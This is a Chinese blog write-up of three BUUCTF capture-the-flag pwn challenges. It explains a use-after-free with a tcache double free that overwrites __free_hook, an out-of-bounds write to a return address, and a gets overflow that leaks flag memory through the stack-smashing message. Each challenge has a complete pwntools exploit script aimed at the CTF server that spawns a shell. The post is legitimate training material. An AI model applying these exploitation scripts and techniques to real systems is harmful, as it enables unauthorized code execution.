buuctf 2022 3.9

原创

amazh 已于 2022-03-10 20:28:25 修改 4286 收藏
分类专栏： 2022 百pwn记录 文章标签： 安全 python
于 2022-03-10 14:29:14 首次发布

ciscn_2019_es_1

保护机制：

保护全开

```
[*] '/home/amazh/Desktop/2.27/es_1'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
```

漏洞点：

```
1  unsigned __int64 call()
2  {
3    int v1; // [rsp+4h] [rbp-Ch] BYREF
4    unsigned __int64 v2; // [rsp+8h] [rbp-8h]
5
6    v2 = __readfsqword(0x28u);
7    puts("Please input the index:");
8    __isoc99_scanf("%d", &v1);
9    if ( *((_QWORD *)&heap_addr + v1) )
0      free(**((void ***)&heap_addr + v1));
1    puts("You try it!");
2    puts("Done");
3    return __readfsqword(0x28u) ^ v2;
4  }
```

这里指针未清空，存在uaf漏洞。

利用思路：

首先malloc一个size大于0x408的chunk，这样的话

就可以绕过tcache了。

然后free掉，之后再dump一下，就可以泄露main_arena + 96 的地址了

这样就可以获得 libc的基地址 和 free_hook了

利用tcache 的double free漏洞 修改fd指针 然后malloc 这样就可以写入free_hook为

one_gadget了。

exp:

```
from pwn import *
from LibcSearcher import *

local_file  = './es_1'
local_libc  = './libc-2.27.so'
remote_libc = './libc-2.27.so'

context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
e = ELF(local_file)
context.arch = e.arch

select = 1
if select == 0:
    r = process(local_file)
    libc = ELF(local_libc)
else:
    r = remote('node4.buuoj.cn',28724)
    libc = ELF(remote_libc)


se      = lambda data               :r.send(data)
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims       :r.recvuntil(delims)
uu32    = lambda data               :u32(ru(data)[-4:].ljust(4, b'\x00'))
uu64    = lambda data               :u64(ru(data)[-6:].ljust(8, b'\x00'))
info_addr = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
r.timeout = 1
def one_gadget(filename):
    return map(int, subprocess.check_output([b'one_gadget', b'--raw', filename]).split(b' '))
def dbg(cmd=''):
     gdb.attach(r,cmd)
bss_addr = 0x4080
def add(size,name,call):
    ru(b"choice:")
    sl(b'1')
    ru(b'name')
    sl(str(size).encode())
    ru(b'name:')
    se(name)
    ru(b"compary call:")
    se(call)##0xc
    ru(b"Done!")

def show(index):
    ru(b"choice:")
    sl(b'2')
    ru(b"index:")
    sl(str(index).encode())
    # ru(b"Done!")
```

```
def delete(index):
    ru(b"choice:")
    sl(b'3')
    ru(b"index:")
    sl(str(index).encode())
    # ru(b"Done!")

add(0x410,b';/bin/sh\x00',b'1') #0
add(0x10,b';/bin/sh\x00',b'2') #1
add(0x10,b';/bin/sh\x00',b'2') #2
delete(0)
show(0)
ru(b'name:\n')
base = u64(rc(6).ljust(8,b'\x00')) - 0x3ebca0
sys = base + libc.sym['system']
success("libc_addr:" + hex(base))
success("sys_addr: " + hex(sys))
# gadget = 0x4f2c5 0x4f322 0x10a38c
shell = base + 0x4f322
free_hook = base + libc.sym['__free_hook']
delete(1)
delete(1)
add(0x10,p64(free_hook),b'\x00')
add(0x10,p64(shell),b'\x00')
delete(0)

r.interactive()
```

wustctf2020_name_your_cat:

漏洞点：

存在数组越界，可以直接写入ret_addr

```
{
  int i; // [esp+Ch] [ebp-3Ch]
  int v2; // [esp+10h] [ebp-38h]
  char v3[40]; // [esp+14h] [ebp-34h] BYREF
  unsigned int v4; // [esp+3Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  puts("I bought you five famale cats.Name for them?");
  for ( i = 1; i <= 5; ++i )
  {
    v2 = NameWhich(v3);
    printf("You get %d cat!!!!!!\nlemonlemonlemonlemonlemonlemonlemon5555555\n", i);
    printf("Her name is:%s\n\n", &v3[8 * v2]);
```

```
int __cdecl NameWhich(int a1)
{
  int v2[4]; // [esp+18h] [ebp-10h] BYREF

  v2[1] = __readgsdword(0x14u);
  printf("Name for which?\n>");
  __isoc99_scanf("%d", v2);
  printf("Give your name plz: ");
  __isoc99_scanf("%7s", 8 * v2[0] + a1);
  return v2[0];
}
```

exp:

五次写入，跳出循环，返回shell

```
from pwn import *

p=remote("node4.buuoj.cn",28477)
#p=process('./wustctf2020_name_your_cat')
elf=ELF('./wustctf2020_name_your_cat')

shell_addr=0x80485cb

p.sendlineafter('Name for which?\n>','1')
p.sendlineafter("Give your name plz: ",'A')

p.sendlineafter('Name for which?\n>','2')
p.sendlineafter("Give your name plz: ",'B')

p.sendlineafter('Name for which?\n>','3')
p.sendlineafter("Give your name plz: ",'C')

p.sendlineafter('Name for which?\n>','4')
p.sendlineafter("Give your name plz: ",'D')

p.sendlineafter('Name for which?\n>','7')
p.sendlineafter("Give your name plz: ",p32(shell_addr))

p.interactive()
```

wdb2018_guess:

漏洞点：

gets函数存在溢出：

```
puts("Please type your guessing flag");
gets(s2);
if ( !strcmp(buf, s2) )
```

思路：

动态调试，找到argv[0]和输入点的偏移，然后修改argv[0]的值，题目中没有直接给出，所以我们需要再libc中找,这个函数'__environ',这里存了环境变量的值，环境变量保存到栈中，从而得到flag的地址

exp:

```python
#coding:utf-8
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
p = remote('node4.buuoj.cn',29203)
e = ELF("./guess")
p.timeout = 0.5
p.recvuntil(b"Please type your guessing flag")
pl1 = b'a'*(0x128) + p64(e.got['puts'])
p.sendline(pl1)
p.recvuntil(b'stack smashing detected ***: ')
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))

libc = LibcSearcher("puts",puts_addr)
base = puts_addr - libc.dump("puts")
print(hex(base))
environ_addr = base + libc.dump('__environ')
pl2 = b"a"*(0x128) + p64(environ_addr)
p.recvuntil(b"Please type your guessing flag")
p.sendline(pl2)
p.recvuntil(b'stack smashing detected ***: ')
flag_addr = u64(p.recv(6).ljust(8,b'\x00')) - 0x168

pl3 = b'a'*(0x128) + p64(flag_addr)
p.recvuntil(b'stack smashing detected ***: ')
p.sendline(pl3)

p.interactive()
```